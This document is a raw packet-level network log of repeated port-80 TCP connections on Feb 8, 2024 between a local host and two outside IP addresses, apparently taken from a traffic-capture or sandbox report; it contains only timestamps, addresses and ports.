                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819514990 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819530010 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819552898 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819587946 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819606066 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819627047 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819665909 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819693089 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819703102 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819741964 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819777966 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819777966 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819813967 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819838047 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819850922 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819886923 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819901943 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819925070 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819961071 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819984913 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819997072 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820033073 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820051908 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820067883 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820105076 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820120096 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820142031 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820177078 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820195913 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820214033 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820251942 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820276976 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820288897 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820377111 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820399046 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820414066 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820453882 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820472002 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820492029 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820529938 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820544958 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820568085 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820604086 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820631027 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820641041 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820676088 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820692062 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820715904 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820753098 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820772886 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820789099 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820825100 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820842028 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820861101 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820898056 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820920944 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820935011 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820971012 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.820987940 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821008921 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821046114 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821062088 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821083069 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821120024 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821135998 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821157932 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821197987 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821221113 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821253061 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.821432114 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.052879095 CET4971780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.075611115 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.306884050 CET8049717185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.307137966 CET4971780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.307275057 CET4971780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.307297945 CET4971780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.560539007 CET8049717185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.572221994 CET8049717185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.572264910 CET8049717185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.572365999 CET4971780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.572551012 CET4971780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.597729921 CET4971880192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.827464104 CET8049717185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.835612059 CET8049718185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.835711956 CET4971880192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.842678070 CET4971880192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.842714071 CET4971880192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.080806971 CET8049718185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.091938972 CET8049718185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.092009068 CET4971880192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.092086077 CET4971880192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.098429918 CET4971980192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.329184055 CET8049718185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.335349083 CET8049719185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.336093903 CET4971980192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.338439941 CET4971980192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.338480949 CET4971980192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.575551987 CET8049719185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.587008953 CET8049719185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.587045908 CET8049719185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.587148905 CET4971980192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.587213039 CET4971980192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.591674089 CET4972080192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.824605942 CET8049719185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.829071999 CET8049720185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.829193115 CET4972080192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.843708992 CET4972080192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.843816996 CET4972080192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.080833912 CET8049720185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.132260084 CET8049720185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.132324934 CET8049720185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.132405996 CET4972080192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.132487059 CET4972080192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.136404037 CET4972180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.369765997 CET8049720185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.373338938 CET8049721185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.373552084 CET4972180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.381426096 CET4972180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.381478071 CET4972180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.619401932 CET8049721185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.630553961 CET8049721185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.630639076 CET8049721185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.630733013 CET4972180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.681267023 CET4972180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.703649998 CET4972280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.918390036 CET8049721185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.956862926 CET8049722185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.956994057 CET4972280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.966962099 CET4972280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.967008114 CET4972280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:23.220083952 CET8049722185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:23.231720924 CET8049722185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:23.231843948 CET4972280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.599395990 CET4972280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.708036900 CET4972380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.852531910 CET8049722185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.945276022 CET8049723185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.945383072 CET4972380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.945600986 CET4972380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.945633888 CET4972380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.184856892 CET8049723185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.201003075 CET8049723185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.201128006 CET8049723185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.201387882 CET4972380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.201440096 CET4972380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.206000090 CET4972580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.438316107 CET8049723185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.443486929 CET8049725185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.445998907 CET4972580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.446372032 CET4972580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.446446896 CET4972580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.683484077 CET8049725185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.683511019 CET8049725185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.695004940 CET8049725185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.695252895 CET4972580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.695413113 CET4972580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.932239056 CET8049725185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.516525030 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.796597004 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.796865940 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:29.796986103 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.122653961 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.532960892 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533035040 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533075094 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533117056 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533159971 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533159018 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533198118 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533236980 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533247948 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533274889 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533309937 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533312082 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533341885 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533349037 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.533679962 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812411070 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812433004 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812444925 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812460899 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812637091 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812638044 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812668085 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812680960 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812694073 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812706947 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812722921 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812763929 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812769890 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812777996 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812789917 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812804937 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812823057 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812824965 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812838078 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812845945 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812850952 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812865019 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812870979 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812877893 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812891006 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812902927 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812906981 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:30.812946081 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092143059 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092164993 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092178106 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092204094 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092216015 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092227936 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092238903 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092251062 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092262030 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092272997 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092283964 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092293978 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092304945 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092314959 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092328072 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092339993 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092350960 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092363119 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092374086 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092385054 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092396975 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092407942 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092417955 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092422009 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092427969 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092438936 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092449903 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092459917 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092470884 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092480898 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092493057 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092503071 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092514038 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092525005 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092538118 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092549086 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092561007 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092572927 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092585087 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092662096 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.092753887 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374557018 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374607086 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374644041 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374675035 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374682903 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374720097 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374733925 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374757051 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374794006 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374820948 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374831915 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374871969 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374877930 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374908924 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374946117 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374950886 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.374982119 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.375020981 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.375046015 CET4972980192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.375056982 CET8049729196.188.169.138192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:31.375093937 CET8049729196.188.169.138192.168.2.5
